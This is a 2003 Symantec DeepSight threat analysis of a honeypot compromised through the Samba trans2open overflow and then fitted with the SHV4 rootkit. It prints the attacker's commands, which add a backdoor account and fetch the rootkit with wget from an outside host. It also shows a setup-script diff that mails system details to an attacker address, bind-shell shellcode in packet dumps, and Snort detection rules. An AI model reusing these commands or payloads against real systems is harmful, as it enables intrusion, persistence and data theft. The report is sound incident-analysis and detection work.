



DeepSight™ Threat Management System Threat Analysis

SHV4 Rootkit Analysis

Version 1: October 1, 2003, 11:00 GMT

Analysts: Jason V. Miller

Executive Summary

During the month of September, a Symantec DeepSight Honeypot running Red Hat Linux 9 was compromised with a successful attack targeting the Samba 'call_trans2open' Remote Buffer Overflow Vulnerability (BID 7294). Subsequently, the attacker accessed the machine and installed a copy of the SHV4 Rootkit.

The SHV4 Rootkit is a collection of modified system binaries, security-related utilities, and an installation shell script for Linux-based systems. An attacker can use this toolkit in order to hide his or her presence on a compromised system.

Action Items

The DeepSight Threat Analyst Team encourages system administrators to maintain strong policies for auditing corporate systems for the susceptibility to known vulnerabilities, which can provide an easy entry point into protected systems and networks. Additionally, the use of strong Network and Host-based IDS policies and technologies can mitigate the damage caused by a successful compromise.

For the specific detection of the SHV4 Rootkit on UNIX-based systems, administrators may wish to use the chkrootkit utility, available in the [Resources](#) section of this analysis.

Urgency

Low

Associated Vulnerabilities

Samba 'call_trans2open' Remote Buffer Overflow Vulnerability

Associated Bugtraq ID

7294

Technical Description

During the month of September 2003, a Symantec DeepSight Honeypot running Red Hat Linux 9 was compromised with a successful attack targeting the Samba 'call_trans2open' Remote Buffer Overflow Vulnerability. After the compromise, the attacker made use of prepackaged rootkit setup script to install a rootkit on the DeepSight Symantec Honeypot, and ultimately remained on the machine for only a few moments. The following commands illustrate the commands executed on the compromised Honeypot by the attacker in their entirety. Commands containing syntax errors or invalid commands are highlighted in bold.

```
/usr/sbin/useradd kuntua -g wheel -s /bin/bash -d /etc/.kuntua
passwd -d kuntua
kuntua
wget http://www.geocities.com/lifron/shv4.tar.gz
tar -zxvf shv4.tar.gz
cd shv4
./setup kuntua 7000
id
w
whomi
65.110.131.88
/usr/sbin/adduser user
passwd user
ls -al
```

This compromise provides a good example of a relatively unskilled attacker taking advantage of prepackaged exploits and utilities to compromise the "low hanging fruit" of a corporate network.

The attack itself was obvious; during the attack, the Snort NIDS generated several alerts, detailed in the [IDS Updates](#) section of this analysis, which also includes updates for other IDS. These signatures are included in the base Snort signature distribution.

An analysis of the major components of the SHV4 Rootkit, which was used by the attacker in an attempt to hide his activities on the compromised machine, is available in the [File Names](#) section of this analysis.

The activities performed by the setup script are detailed in the [Text Description of Damages/Installation Steps](#) section of this analysis, and sample output from this script is also available in the [Sample Runs](#) section.

Finally, a list of the [IP addresses](#) and [port numbers](#) involved in this attack, including annotated [packet traces](#) illustrating the actual exploitation of the machine, are available in each of the associated sections.

Corroboration

The analyzed copy of the SHV4 Rootkit was obtained from a compromised Symantec DeepSight Honeypot, which indicates that this rootkit, containing components that have been in circulation since 1999, is being actively used in the wild.

Item Descriptions

File Names

The following packages represent the distribution of the SHV4 Rootkit, both from the compromised Honeypot, as well as from the original distribution of the rootkit, available online.

shv4.tar.gz (From Compromised Honeypot)

Fingerprint (MD5): 017ec7f17f0ec403bf880d972e0c0bbc

Fingerprint (SHA1): 6604a5f5ba7aac7a697c494fdc36872753178efa

This is the distribution of the SHV4 Rootkit that was obtained from the compromised Symantec DeepSight Honeypot.

shv4.tar.gz (Original Distribution)

Fingerprint (MD5): 5968e91dd319174d1e6450decd8e3734

Fingerprint (SHA1): d33de3a56e8caf688d57314b86c1fe12a25c288b

This is the distribution of the SHV4 Rootkit that is available for public download.

Both versions of `shv4.tar.gz` contain identical copies of the SHV4 Rootkit (detailed later in this section), however, the following differences, illustrated as diff output, were present between the `setup` script in the original distribution and the `setup` script from the compromised Honeypot.

```
bash-2.05b$ diff ./original/setup ./honeypot/setup
32,33c32,33
< dpass=shcr3w0wnzth1s
< dport=5777
---
> dpass=cyber2002x
> dport=51437
217c217
< #md5sum=leshmadhi80@yahoo.com
---
> md5sum=deGleng@debbyzalina.com
335c335
< #echo "$1:$2:`hostname -f`:$MYIPADDR:$dport" | mail $md5sum
---
> echo "$1:$2:`uname -a`:`id`:$MYIPADDR" | mail $md5sum
348c348
< rm -rf shv4/ shv4*.tgz
---
> rm -rf shv4/ shv4.tar.gz
```

The following files represent the interesting components of the SHV4 Rootkit.

bin.tgz

Fingerprint (MD5): 3fe17edf126441ccf8adac97afe08701

Fingerprint (SHA1): 435b1269fa28e988fd026f146350a9104fc0ae03

A collection of executable files from the SHV4 Rootkit, including modified copies of the following common system executables: `dir`, `encrypt`, `find`, `ifconfig`, `login`, `ls`, `lsof`, `md5sum`, `netstat`, `ps`, `pstree`, `slocate`, `syslogd`, and `top`. These replacement binaries are intended to prevent the detection of this rootkit, as well as the attackers activities, on the compromised machine. Additionally,

this file includes the following other utilities, which are detailed below: `pg`, `sz`, `tkp`, `tk`s, and `tk`sb. This file (`bin.tgz`) is included within `shv4.tar.gz`.

pg

Fingerprint (MD5): 708db992c8074b22537c0e3012e9204a

Fingerprint (SHA1): 9dced567c8bb3e6df5f8805b3deca2d9a59e7a8a

A binary executable, in the ELF format, which provides a simple command line interface to the `crypt(3)` library function, and uses "db" as a static value for the salt. This is used to encrypt passwords for other components of the rootkit. This file (`pg`) is included within `bin.tgz`.

sz

Fingerprint (MD5): f2e3b130a937af92ff507315406589b1

Fingerprint (SHA1): 1a7993abf1facebd3bca58dfa24f232f682ace6d

A Bourne shell script (`/bin/sh`), identified in comments as "File resizer v2.4", which can be used to pad a supplied file with zeros in order to match the file size of a second supplied file. This would typically be used to resize a replacement binary included with a rootkit to match the size of the original file. This file (`sz`) is included within `bin.tgz`.

tkp

Fingerprint (MD5): 926784667fa921b38fceb124644f6568

Fingerprint (SHA1): 9a3f86c3307935733d656710ec1fc17e5c196428

A PERL script, identified in comments as "hdlp2 version 2.05", which can be used to parse the output from LinSniffer in order to search for interesting sensitive information that may have been captured. This file (`tkp`) is included within `bin.tgz`.

tks

Fingerprint (MD5): 63c6a53e779c06923344b15a0e8f1799

Fingerprint (SHA1): 28108c465d2aa61ac267404d9b6caa530856d05f

A binary executable, in the ELF format, which appears to be a compiled copy of a Linux-based network sniffer called LinSniffer (available at <http://downloads.securityfocus.com/tools/linsniffer.c>). This file (`tk`s) is included within `bin.tgz`.

tksb

Fingerprint (MD5): 12e8748c19abe7a44e67196c22738e9b

Fingerprint (SHA1): 9a47ff44ce02730cf69e937937150662194c0b2c

A Bourne again shell script (`/bin/bash`), identified in comments as "sauber – by socked", which is used to remove entries containing a supplied string from system log files. This file (`tk`sb) is included within `bin.tgz`.

bin/ssh-only.tgz

Fingerprint (MD5): d5e4ab1d8d9b745ef3ab8c6a1841d1d0

Fingerprint (SHA1): b83bf86f92a17b276a1a1eea4c331b72014ce610

This file contains a modified copy of `ssh`, version 1.2.27 of the SSH client from SSH Communications. This copy of the SSH client is intended to log username and password combinations of users that make use of this modified copy to connect to other hosts. The binary is hard-coded to log this information to the file `/lib/ldd.so/tkps`. This file (`ssh-only.tgz`) is contained within `bin.tgz`.

bin/ssh.tgz

Fingerprint (MD5): f083a1e5afba3dc5d563e9d0a83a1d56

Fingerprint (SHA1): c6dfe36862901fd9e1094d6f7ddd42da6358d14f

This file contains a copy of `sshd`, likely version 1.2.27 of the SSH server from SSH Communications, as well as the required supporting configuration files and host keys. The copy of `sshd` itself is compressed with the UPX runtime decompression utility. It should be noted that, due to the age of the product, version 1.2.27 of the SSH server is susceptible to multiple remote code execution vulnerabilities. This file (`ssh.tgz`) is contained within `bin.tgz`.

conf.tgz

Fingerprint (MD5): 5e820299d4a6692ba3be28613e52bfe1

Fingerprint (SHA1): 3240cb34531dfa245899512a7858078e8f92bbe2

A collection of configuration files for the rootkit. The files, `file.h`, `hosts.h`, `lidps1.so`, `log.h`, and `proc.h`, are all plaintext configuration files that contain lists of files, processes, network connections, and other values that should be hidden from view by the rootkit's replacement system binaries. By default, these files appear to be configured to hide IRC-based activity, as well as network-based reconnaissance and network-based attacks. This file (`conf.tgz`) is included within `shv4.tar.gz`.

lib.tgz

Fingerprint (MD5): e79c6ebed06e0dac0582f5f400696e58

Fingerprint (SHA1): 9c1ce8842af811f529c405c73d4847d9680f3961

This file contains a modified copy of the `libproc.so.2.0.6` shared library. The library uses the `/usr/include/proc.h` and `/usr/include/hosts.h` files for configuration, and uses a simple XOR-based encoding scheme within the file to hide these hard-coded file names from the `strings` utility. This file (`lib.tgz`) is included within `shv4.tar.gz`.

Text Description of Damages/Installation Steps

When executed, the `setup` script for SHV4 performs the following tasks.

- Decompresses and extracts all of the included `.tgz` files: `bin.tgz`, `conf.tgz`, `lib.tgz`, `ssh.tgz`, and `ssh-only.tgz`. Afterwards, the original `.tgz` files are removed.
- Ensures that the script is running in the security context of the root user, and if not, exit.
- Kills the `syslogd` process to prevent system logging.
- Attempts to check if "Shkit" is installed on the machine, and if so, attempts to remove it and kill all of the processes that are associated with it. As this version of the SHV4 Rootkit also identifies itself internally as Shkit, this may simply be a check for an older version of the Rootkit.
- Checks for remote logging by parsing the `syslogd` configuration file, and if active, will print the hostnames of all the remote log hosts.
- Takes an optional command line parameter, or in its absence, a default value and stores its encrypted result in `/etc/ld.so.hash` and `/lib/libext-2.so.7`.
- Configures a copy of `sshd` to listen on the supplied port, and in its absence a default value. There are obvious errors in this section of the code. This copy of `sshd` is ultimately copied to `/usr/sbin/xntps`, and is added to `/etc/rc.d/rc.sysinit` in order to run at startup.
- Calculates the MD5 fingerprints for all the system binaries that are to be replaced, and stores their encrypted values in `/dev/srd0`. Afterwards, the system files are replaced with the replacement files included with the rootkit.
- There is a portion of the script that, although commented out in the copy of the `setup` script obtained from the DeepSight Symantec Honeypot, can be used to replace `ssh`, a SSH client, with a copy from the rootkit. The modified version included with the rootkit will log all username and

password combinations to a hard-coded file. See the [File Names](#) section for additional information.

- Copies some utilities (`tk`s, `tkp`, and `tk`sb) to the `/lib/ldd.so/` directory.
- If the file `/lib/libncurses.so.5` does not exist, it will be created as a symbolic link to `/lib/libncurses.so.4`.
- Prints out some miscellaneous system information, and mails out some system information to a hard-coded email address, which was set to `deGleng@debbyzalina.com` in the sample that we obtained from our DeepSight Symantec Honeypot.
- Prints out a truncated list of `ipchains` rules, if present on the compromised machine.
- Before exiting, restarts `syslogd`, and `inetd` or `xinetd`.

IP Addresses

203.200.233.211

The initial compromise of the Honeypot originated from an attacker at this IP address.

Port Numbers Involved

tcp/139 (netbios-ssn)

The initial compromise of the Honeypot was performed by exploiting a vulnerability in Samba, which was listening and bound to this port to listen for incoming SMB/NetBIOS connections.

tcp/45295 (not assigned)

Although configurable, this port was used for the TCP-based remote shell included as a payload during exploitation of the Samba 'call_trans2open' Remote Buffer Overflow Vulnerability. This is the default port for the remote exploit released by eSDee, which is available at the following URL:

<http://downloads.securityfocus.com/vulnerabilities/exploits/sambal.c>

Sample Runs

The following output was generated during the initial execution of the SHV4 setup script by the attacker immediately following the compromise of the machine. Note that the setup script is not very robust, and as such generates several errors (highlighted in bold) during installation.

```
[sh]# Sit y00r ass d0wn whil3 w3 install shv4...
[sh]# NO PATCHING THIS VERSION ... do it manually Bitch
```

=====

```

      /\
     /::\
    /::::\
   /::::::\
  /::::/\::::\
 \::::~\::::/
  /\  \::::\  \
 S /::\  \::::\
 H \::\  /::::/
  K \:::::/
   U \::::/
    P \:::/
     I \_/

      /\
     /::\
    /::::\
   /::::::\
  /::::/\::::\
 \::::~\::::/
  /\  \::::\  \
 H /::\  \::::\
 A \::\  /::::/
  C \/_\  \::::/
   K \::::/
    E \:::/
     R \:::/
      S \_/
```

```
[sh] Internal Release v4 by PinTuRici
```

```
=====
[sh]# backdooring started on localhost.localdomain
[sh]#
[sh]#
[sh]#
[sh]# checking for remote logging... [sh]# guess not.
[sh]# [Installing trojans....]
[sh]# Using Password : kuntua
[sh]# Using ssh-port : 7000
/usr/bin/md5sum: /usr/bin/slocate: No such file or directory
touch: failed to get attributes of `/usr/bin/slocate': No such file or
directory
expr: non-numeric argument
./sz: line 42: test: =: unary operator expected
./sz: line 47: test: Feb: integer expression expected
chattr: No such file or directory while trying to stat /usr/bin/slocate
[sh]# : ps/du/ls/top/netstat/find backdoored
[sh]#
[sh]# [Moving our files...]
[sh]# : sniff/parse/sauber moved
[sh]# [Modifying system settings to suite our needs]
-----
[sh]# [System Information...]
[sh]# Hostname : localhost.localdomain (192.168.5.2)
[sh]# Arch : i686 +- bogomips : 4626.84 '
[sh]# Alternative IP : 127.0.0.1 +- Might be [ 1 ] active adapters.
[sh]# Distribution: Red Hat Linux release 9 (Shrike)
-----
[sh]# ipchains ...?
./setup: line 342: /sbin/ipchains: No such file or directory
-----
[sh]# ===== Backdooring completed in :4 seconds
```

Packet Traces

The following packets briefly illustrate the actual compromise of the Honeypot though an exploit targeting the Samba 'call_trans2open' Remote buffer Overflow Vulnerability.

The attacker begins attempting to exploit the Samba 'call _trans2open' Remote Buffer Overflow Vulnerability, which involves the following payload-containing packet (payload highlighted in bold) being sent to the target host during a previously established 139/tcp connection with an active NetBIOS session:

```
18:36:31.241047 203.200.233.211.49456 > 192.168.5.2.139: . 1563:3011(1448)
ack 89 win 5840 <nop,nop,timestamp 191839092 424926> NBT Packet (DF)
0x0000 4500 05dc 51ab 4000 2a06 7e2a cbc8 e9d3 E...Q.@.*.~*....
0x0010 c0a8 0502 c130 008b c9e8 5475 7c0a 5f74 .....0....Tu|._t
0x0020 8010 16d0 b082 0000 0101 080a 0b6f 3b74 .....o;t
0x0030 0006 7bde 9090 9090 9090 9090 9090 9090 ..{.....
0x0040 9090 9090 9090 9090 9090 9090 9090 9090 .....
```

(Repeated data was removed for brevity)

```

0x0180  9090 9090 9090 9090 9090 9090 9090 9090  .....
0x0190  9090 9090 31c0 31db 31c9 b046 cd80 31c0  ...1.1.1..F..1.
0x01a0  31db 31c9 51b1 0651 b101 51b1 0251 89e1  1.1.Q..Q..Q..Q..
0x01b0  b301 b066 cd80 89c1 31c0 31db 5050 5066  ...f....1.1.PPPf
0x01c0  68b0 efb3 0266 5389 e2b3 1053 b302 5251  h....fS....S..RQ
0x01d0  89ca 89e1 b066 cd80 31db 39c3 7405 31c0  ....f..1.9.t.1.
0x01e0  40cd 8031 c050 5289 e1b3 04b0 66cd 8089  @..1.PR.....f...
0x01f0  d731 c031 db31 c9b3 11b1 01b0 30cd 8031  .1.1.1.....0..1
0x0200  c031 db50 5057 89e1 b305 b066 cd80 89c6  .1.PPW.....f....
0x0210  31c0 31db b002 cd80 39c3 7540 31c0 89fb  1.1.....9.u@1...
0x0220  b006 cd80 31c0 31c9 89f3 b03f cd80 31c0  ....1.1....?.1.
0x0230  41b0 3fcd 8031 c041 b03f cd80 31c0 5068  A?...1.A?...1.Ph
0x0240  2f2f 7368 682f 6269 6e89 e38b 5424 0850  //shh/bin...T$.P
0x0250  5389 e1b0 0bcd 8031 c040 cd80 31c0 89f3  S.....1.@..1...
0x0260  b006 cd80 eb99 9090 9090 9090 9090 9090  .....
0x0270  9090 9090 9090 9090 9090 9090 9090 9090  .....

```

(Repeated data was removed for brevity)

```

0x05b0  9090 9090 9090 9090 9090 9090 9090 9090  .....
0x05c0  9090 9090 9090 9090 9090 9090 9090 9090  .....

```

The attacker attempts to connect to 45295/tcp on the target machine:

```

18:36:01.904059 203.200.233.211.49452 > 192.168.5.2.45295: S
  3399111543:3399111543(0) win 5840 <mss 1460,sackOK,timestamp 191831932
  0,nop,wscale 0> (DF)
0x0000  4500 003c 4c0b 4000 2a06 896a cbc8 e9d3  E..<L.@.*..j....
0x0010  c0a8 0502 c12c b0ef ca9a 5377 0000 0000  .....,....Sw....
0x0020  a002 16d0 fad6 0000 0204 05b4 0402 080a  .....
0x0030  0b6f 1f7c 0000 0000 0103 0300  .....

```

The victim Honeypot responds with a TCP RST, indicating that this port is closed; the exploit was not successful:

```

18:36:01.904375 192.168.5.2.45295 > 203.200.233.211.49452: R 0:0(0) ack
  3399111544 win 0 (DF)
0x0000  4500 0028 0000 4000 4006 bf89 c0a8 0502  E..(..@.@.....
0x0010  cbc8 e9d3 b0ef c12c 0000 0000 ca9a 5378  .....,....Sx
0x0020  5014 0000 a45a 0000  .....

```

After additional attempts are made to exploit this vulnerability and connect to the backdoor contained in the payload, the attacker attempts to connect to 45295/tcp on the target machine one more time, after the last attack was successful in exploiting the target machine:

```

18:36:31.372908 203.200.233.211.49787 > 192.168.5.2.45295: S
  3424736771:3424736771(0) win 5840 <mss 1460,sackOK,timestamp 191847052
  0,nop,wscale 0> (DF)
0x0000  4500 003c 0c8f 4000 2a06 c8e6 cbc8 e9d3  E..<...@.*.....
0x0010  c0a8 0502 c27b b0ef cc21 5603 0000 0000  .....{...!V.....
0x0020  a002 16d0 ba64 0000 0204 05b4 0402 080a  .....d.....
0x0030  0b6f 5a8c 0000 0000 0103 0300  .....

```

The victim Honeypot now responds with a TCP SYN|ACK, indicating that the port is now open and listening for connections; the exploit was successful and the Honeypot has now been compromised:

```
18:36:31.373265 192.168.5.2.45295 > 203.200.233.211.49787: S
  2101630524:2101630524(0) ack 3424736772 win 5792 <mss
  1460,sackOK,timestamp 427163 191847052,nop,wscale 0> (DF)
0x0000  4500 003c 0000 4000 4006 bf75 c0a8 0502      E..<...@.@..u....
0x0010  cbc8 e9d3 b0ef c27b 7d44 563c cc21 5604      .....{ }DV<.!V.
0x0020  a012 16a0 6261 0000 0204 05b4 0402 080a      ....ba.....
0x0030  0006 849b 0b6f 5a8c 0103 0300      .....oZ.....
```

Description of Vulnerabilities

Samba 'call_trans2open' Remote Buffer Overflow Vulnerability

<http://www.securityfocus.com/bid/7294>

A buffer overflow vulnerability has been reported in Samba. The problem occurs when copying user-supplied data into a static buffer. By passing excessive data to an affected Samba server, it may be possible for an anonymous user to corrupt sensitive locations in memory.

Successful exploitation of this issue could allow an attacker to execute arbitrary commands, with the privileges of the Samba process.

It should be noted that this vulnerability affects Samba 2.2.8 and earlier. Samba-TNG 0.3.1 and earlier are also affected.

Attack Data

List of Attacks

The following DeepSight Threat Management System event names, including the specific Snort signatures that were responsible for the actual alerts, were associated with the successful attack on the compromised Honeypot.

Samba 'call_trans2open' Remote Buffer Overflow Attack

NETBIOS SMB trans2open buffer overflow attempt (Snort)

INFO id check returned root

ATTACK RESPONSES id check returned root (Snort)

Patches

A complete list of patches, workarounds, and other solutions to the Samba 'call_trans2open' Remote Buffer Overflow Vulnerability can be found in the Solution section of the associated entry in the SecurityFocus vulnerability database.

Samba 'call_trans2open' Remote Buffer Overflow Vulnerability - Solution

<http://www.securityfocus.com/bid/7294/solution/>

IDS Updates

Cisco Secure IDS

The following Cisco Secure IDS signature ID is associated with the Samba 'call_trans2open' Remote Buffer Overflow Vulnerability.

```
3325
```

Enterasys Dragon

The following are the names of official Dragon signatures that can be used to detect activity that is associated with the Samba 'call_trans2open' Remote Buffer Overflow Vulnerability.

```
SMB:SAMBAL-SUCCESS  
SMB:OVERFLOW-SAMBA-NOIR
```

ISS RealSecure

The following official ISS RealSecure signature is associated with the Samba 'call_trans2open' Remote Buffer Overflow Vulnerability.

```
samba-calltrans2open-bo
```

Snort

The following Snort signatures, which are included in the standard Snort rules distribution, can be used to detect the activity that was associated with this compromise.

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 139 \  
(msg:"NETBIOS SMB trans2open buffer overflow attempt"; \  
flow:to_server,established; \  
content:"|00|"; offset:0; depth:1; \  
content:"|ff|SMB|32|"; offset:4; depth:5; \  
content:"|00 14|"; offset:60; depth:2; \  
byte_test:2,>,1024,0,relative,little; \  
reference:cve,CAN-2003-0201; \  
reference:url,www.digitaldefense.net/labs/advisories/DDI-1013.txt; \  
classtype:attempted-admin; sid:2103; rev:4;)
```

```
alert ip any any -> any any \  
(msg:"ATTACK-RESPONSES id check returned root"; \  
content: "uid=0(root)"; \  
classtype:bad-unknown; sid:498; rev:4;)
```

Symantec ManHunt

The following ManHunt update can be applied to allow the detection of activity that is associated with the Samba 'call_trans2open' Remote Buffer Overflow Vulnerability. The update itself is titled the "SMB Trans2Open Overflow".

Symantec ManHunt 3.0 Security Update 10

<http://www.symantec.com/avcenter/security/Content/2003.09.29.html>

Resources

Samba 'call_trans2open' Remote Buffer Overflow Vulnerability

<http://www.securityfocus.com/bid/7294>

Chkrootkit Home Page

<http://www.chkrootkit.org/>

Snort Home Page

<http://www.snort.org/>

Change Log

Version 1: October 1, 2003 11:00 GMT

Initial Threat Analysis released.

Glossary

If you are unfamiliar with any term this report uses, please visit the Symantec glossary at <http://www.securityfocus.com/glossary> for more details on information security terminology.

Contact Information

World Headquarters

Symantec Corporation
20300 Stevens Creek Blvd.
Cupertino, CA 95014
U.S.A.
+1 408 517 8000
www.symantec.com

Symantec DeepSight Solutions

Symantec DeepSight Customer Service
+ 1 866 732 3682 (Toll-Free)
+ 1 541 335 7020
DeepSightCustServ@symantec.com

About Symantec

Symantec, the world leader in Internet security technology, provides a broad range of content and network security software and appliance solutions to enterprises, individuals, and service providers. The company is a leading provider of client, gateway, and server security solutions for virus protection, firewall and virtual private network, vulnerability management, intrusion detection, Internet content and e-mail filtering and remote management technologies, as well as security services to enterprises and service providers around the world. Symantec's Norton brand of consumer security products is a leader in worldwide retail sales and industry awards. Headquartered in Cupertino, Calif., Symantec has worldwide operations in 38 countries. For more information, please visit www.symantec.com.

DeepSight Conditions: NO WARRANTIES, EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT, SHALL APPLY TO THE DEEPSIGHT SERVICES OR THE MATERIALS PROVIDED BY SYMANTEC TO USERS OF THE DEEPSIGHT SERVICES. SYMANTEC PROVIDES THE SERVICE(S) AND MATERIALS "AS IS" AND "AS AVAILABLE." IN NO EVENT WILL SYMANTEC BE LIABLE FOR THE TRUTH, ACCURACY, RELIABILITY OR COMPLETENESS OF THE SERVICE(S) OR MATERIALS. SYMANTEC MAKES NO WARRANTY THAT THE SERVICE(S) OR MATERIALS WILL BE UNINTERRUPTED OR TIMELY, OR THAT THEY WILL PROTECT AGAINST COMPUTER VULNERABILITIES. Please refer to your services agreement or certificate for further information on conditions of use for the Services and materials.

Trademarks: Symantec, the Symantec logo, and DeepSight are US registered trademarks of Symantec Corporation or its subsidiaries. DeepSight Analyzer, DeepSight Extractor, and Bugtraq are trademarks of Symantec Corporation or its subsidiaries. Other brands and products are trademarks of their respective holders.

Quoting Symantec Information and Data: Authorized Users of Symantec's DeepSight Services may use or quote individual sentences and paragraphs from the materials provided as part of the Services, but not large portions or the majority of such materials, solely for purposes of internal communications. Unless otherwise specifically agreed in writing by Symantec, no external publication of all or any portion of any materials provided by Symantec is permitted.

Copyright © 2003 Symantec Corporation. All rights reserved. Reproduction is forbidden unless authorized.